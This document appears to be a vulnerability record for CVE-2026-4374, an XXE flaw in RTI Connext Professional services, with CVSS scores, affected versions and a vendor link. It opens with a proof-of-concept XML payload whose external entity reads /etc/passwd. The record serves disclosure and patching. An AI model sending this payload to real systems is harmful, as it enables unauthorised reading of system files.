CVE-2026-4374

<?xml version="1.0" encoding="UTF-8"?> <!-- PoC for XXE vulnerability in CVE-2026-4374 --> <!DOCTYPE data [ <!ELEMENT data ANY > <!-- Define an external entity to read a local file --> <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <data>&xxe;</data>

{"cve": {"id": "CVE-2026-4374", "sourceIdentifier": "3f572a00-62e2-4423-959a-7ea25eff1638", "published": "2026-04-01T02:16:03.540", "lastModified": "2026-04-21T00:06:11.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of XML External Entity Reference vulnerability in RTI Connext Professional (Routing Service,Observability Collector,Recording Service,Queueing Service,Cloud Discovery Service) allows Serialized Data External Linking, Data Serializat..."}, {"lang": "es", "value": "Vulnerabilidad de restricción incorrecta de referencia a entidad externa XML en RTI Connext Professional (Routing Service, Observability Collector, Recording Service, Queueing Service, Cloud Discovery Service) permite el enlace externo de datos serializados, la serialización de datos..."}], "metrics": {"cvssMetricV40": [{"source": "3f572a00-62e2-4423-959a-7ea25eff1638", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "3f572a00-62e2-4423-959a-7ea25eff1638", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3.0", "versionEndIncluding": "5.3.1.45", "matchCriteriaId": "F8B1FE0A-A2E0-45AA-9ED2-CED9BDA02047"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.1.40", "matchCriteriaId": "8369CEAE-4767-4910-AD55-3C6E8898EE5F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndIncluding": "6.1.2.27", "matchCriteriaId": "2042782E-93AB-4D92-9DB0-3377557B5B46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.3.1.1", "matchCriteriaId": "9F77FCD6-D5AC-46DF-99BF-D9E30919B5E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.7.0", "matchCriteriaId": "DF87EB0F-A1CD-40D1-96F0-53D964E34BFC"}]}]}], "references": [{"url": "https://www.rti.com/vulnerabilities/#cve-2026-4374", "source": "3f572a00-62e2-4423-959a-7ea25eff1638", "tags": ["Vendor Advisory"]}]}}